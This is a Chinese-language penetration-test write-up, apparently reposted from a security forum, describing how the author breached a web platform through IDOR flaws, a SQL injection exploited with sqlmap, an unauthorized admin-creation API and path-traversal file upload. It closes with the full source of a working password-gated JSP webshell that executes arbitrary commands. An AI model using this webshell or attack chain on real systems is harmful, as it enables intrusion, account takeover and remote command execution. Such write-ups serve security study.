目标
-
某平台系统(www.target.net)
流程
本次渗透测试的流程图:
测试
拿到站点后先做信息收集,扫描目录看看有无敏感信息
寥寥无几,没有任何信息,启动burpsuite打开网站走一遍流程。
在创建目标处存在图片上传接口,上传shell试试。
没有任何过滤,可直接上传,但当前目录不解析,猜测projectKey
控制上传路径
可跨目录上传,但当前/webapp/test/uploadFile/
路径非网站根目录,爆破了常见网站目录但没有一个是正确的解析shell的,先放着后续是否能找到网站根路径然后再跨目录上传。
越权
在浏览到某个页面中看到了一处链接/detail.shtml?key={{id}}
,拿出来浏览器中访问,测测是否存在越权或者SQL注入。
http://www.target.net/detail.shtml?key=1
随便给个数值访问测试,发现只存在水平越权,不存在注入。
http://www.target.net/detail.shtml?key=
去掉参数直接访问,却弹出来了报错页面。
该站点使用的是spring
框架,重新使用spring相关接口路由字典扫一遍,还意外扫到了druid
登录页面,但并不存在未授权访问和弱口令的漏洞,继续看swagger。
在swagger中找到了一处注入和敏感信息泄露。
敏感信息泄露
根据URL猜参数名teamId
,查看到所有的团队信息。
这里也是一处越权。
sql注入
同样猜参数名,未做任何过滤,单引号报错,直接上sqlmap一把梭。
越权添加用户
但翻了翻数据库并未找到管理员账号密码,不过找到了网站接口配置信息,将接口导出然后放到burpsuite里面跑
成功找到了越权添加/编辑用户接口,直接添加新管理员账号并登录。
任意文件上传
回到刚才文件上传处,通过sql注入报错页面我们找到了真实路径/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml]
,修改projectKey
值,用../../../../
跨目录上传shell
疑问
在最后上传shell处,尝试了冰蝎、哥斯拉的马都无法正常解析,
(报错信息为 页面存在,但无法连接)
后来更换了带密码回显的jsp马才成功,后来和朋友沟通后觉得问题是没有携带Cookie,所以导致用冰蝎和哥斯拉无法正常连接。
<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>点击收藏 | 1
原文地址:https://xz.aliyun.com/t/10493
网络¥安全联盟站—李白你好
微信:libaisec
微信交流群:加我微信拉你进群和工程师们学技术聊人生
原文始发于微信公众号(李白你好):一次简单的渗透测试记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论